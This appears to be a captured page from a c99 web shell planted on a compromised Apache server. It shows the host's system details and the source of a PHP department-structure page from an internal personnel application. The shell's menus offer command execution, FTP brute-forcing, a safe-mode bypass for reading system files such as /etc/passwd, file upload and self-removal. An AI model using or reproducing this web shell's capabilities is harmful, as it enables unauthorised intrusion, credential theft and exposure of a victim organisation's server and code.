!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/eperson/admin/   drwxr-xr-x
Free 52.3 GB of 127.8 GB (40.92%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     printDeptTableHTML.php (3.17 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once("../../class/clsConnection.php");
include_once(
"../../class/clsDB.php");
include_once 
"../global.php";
include_once 
"../link/function.php";
include_once 
"../class/clsTable.php";
include_once 
"../class/clsDepartment.php";
include_once 
"../class/clsPerson.php";
include_once 
"../link/function.php";
include_once 
"../class/clsdepttype.php";
$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EPERSON'], $GLOBALS['DBUSER_EPERSON'], $GLOBALS['DBPASS_EPERSON']);

$oDpT = new Department($oC);
$oDp = new Department($oC);
$oDP3 = new Department($oC);
$oDP2 = new Department($oC);
$oPS = new Person($oC);
$maxdate $oDP3->MaxDate();
?>
<html>
<head>
<title>โครงสร้างหน่วยงานสารบรรณ</title>

<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<table width="95%" align="center" border="0" cellpadding="0" cellspacing="1" style="border-collapse:collapse">
    <tr>
        <td valign="top"><br>
<label><div align="center">
<font size="2"><b>โครงสร้างหน่วยงานสารบรรณ&nbsp;<?  if($deptDate==$maxdate && $maxdate !='0000-00-00'){   echo "<br>วันที่ยืนยันการใช้งาน&nbsp;".abbreDate(splitDateDb2($deptDate ,'/'))." (โครงสร้างปัจจุบัน)"; }else if($deptDate=='0000-00-00'){   echo "<br>(ยังไม่ยืนยันการใช้งานโครงสร้างนี้)"; }else{ echo "<br>วันที่ยืนยันการใช้งาน&nbsp;".abbreDate(splitDateDb2($deptDate ,'/'));   } ?></b></font><br><br>
    <?
    $oT 
= new clsTable(array("<font size=2>ส่วนราชการภายใน</font>","<font size=2>ประเภทของ<br>ส่วนราชการภายใน</font>","<font size=2>รายละเอียด</font>"));
    
$oT->borderColor="#000000";
    
$oT->border="1";
    
$oT->cellSpacing="0";
    
$oT->cellPadding="0";
    
$oT->align="center";
    
$oT->width="100%";
    
$oT->height="22";
    
$oT->headerBgColor="#ffffff";
    
$oDpT->searchdeptDate2($deptDate);
    
    
$rw=0;
    
    while (
$oDpT->GetRecord()){
        
ShowDeptM($oDpT->deptId,$deptDate);        
    }
    
    echo 
"<form name=ps method=post>";
    echo 
"<input type=hidden name=method value=''>";
    echo 
"<input type=hidden name=startyear value=''>";
    echo 
$oT->output();
    echo 
"</form>";
    
//////////////////////////////////////////
    
    
function ShowDeptM($deptId,$deptDate){
        global 
$oC;
        global 
$oT;
        global 
$Str;
        global 
$rw;
    
        
$oDp  = new Department($oC);
        
$oDpt= new Departmenttype($oC);
        
$oDp->SearchByKey($deptId);
        
$oDp->GetRecord();
        
/////////////////////////////////////////////
        
if ($oDp->deptLevel%2==0){                            
            
$bs="<b>";    
            
$be="</b>";    
        }
        
$lv =  $oDp->deptLevel+1;
        
$oDpt->SearchByKey($oDp->depttypeId);
        
$oDpt->GetRecord();
        
$dt $oDpt->depttypeName;
        if(
$oDp->deptDesc!=''){ $det=$oDp->deptDesc; }else{  $det="&nbsp;"; }
        
$oT->addRow(array(str_repeat("<img src=../picture/blank.gif><img src=../picture/blank.gif><img src=../picture/blank.gif><img src=../picture/blank.gif><img src=../picture/blank.gif><img src=../picture/blank.gif>"$oDp->deptLevel*2). $bs ."   <font size=2>".$oDp->deptName."</font>  "$be,"<font size=2>".$dt."</font>","<font size=2>".$det."</font>"));
        
$oDp->RSmenuByDeptParentdeptDate($deptId,$deptDate);
        while (
$oDp->GetRecord()){
            
ShowDeptM($oDp->deptId,$deptDate);
        }
    }
    
?>
</div></td>
    </tr>
        <tr>
        <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">วันที่พิมพ์ : <?php echo date('d-m-Y H:i:s'time());?></font></td>
    </tr>
</table>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0097 ]--